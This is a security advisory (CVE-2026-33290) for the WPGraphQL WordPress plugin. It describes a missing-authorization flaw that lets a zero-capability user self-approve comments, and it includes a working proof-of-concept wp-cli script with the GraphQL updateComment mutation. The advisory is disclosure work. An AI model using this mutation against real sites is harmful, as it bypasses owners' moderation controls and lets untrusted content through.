CVE-2026-33290 WPGraphQL Repo's updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission
WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.

### Details

In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:

- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.
- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.
- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).

This means a non-moderator owner can submit status during update and transition moderation state.

### PoC

Tested in local wp-env (Docker) with WPGraphQL 2.9.1.

1. Start environment:

  npm install
  npm run wp-env start

2. Run this PoC:

```
  npm run wp-env run cli -- wp eval '
  add_role("no_caps","No Caps",[]);
  $user_id = username_exists("poc_nocaps");
  if ( ! $user_id ) {
    $user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com");
  }
  $user = get_user_by("id",$user_id);
  $user->set_role("no_caps");

  $post_id = wp_insert_post([
    "post_title" => "PoC post",
    "post_status" => "publish",
    "post_type" => "post",
    "comment_status" => "open",
  ]);

  $comment_id = wp_insert_comment([
    "comment_post_ID" => $post_id,
    "comment_content" => "pending comment",
    "user_id" => $user_id,
    "comment_author" => $user->display_name,
    "comment_author_email" => $user->user_email,
    "comment_approved" => "0",
  ]);

  wp_set_current_user($user_id);

  $result = graphql([
    "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
    "variables" => [ "id" => (string)$comment_id ],
  ]);

  echo wp_json_encode([
    "role_caps" => array_keys(array_filter((array)$user->allcaps)),
    "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
    "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null,
    "comment_id" => $comment_id
  ]);
  '
```

3. Observe result:

- role_caps is empty (or no moderate_comments)
- mutation returns status: APPROVE
- DB value becomes comment_approved = 1

### Impact

This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.
Problem types: cwe_id: CWE-862
description: CWE-862: Missing Authorization
Affected products: vendor: wp-graphql
product: wp-graphql
CVSS v3.1: attackComplexity: LOW
attackVector: NETWORK
availabilityImpact: NONE
baseScore: 4.3
baseSeverity: MEDIUM
confidentialityImpact: NONE
integrityImpact: LOW
privilegesRequired: LOW
scope: UNCHANGED
userInteraction: NONE
vectorString: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
version: 3.1
Published: 2026-03-23T23:58:57.345Z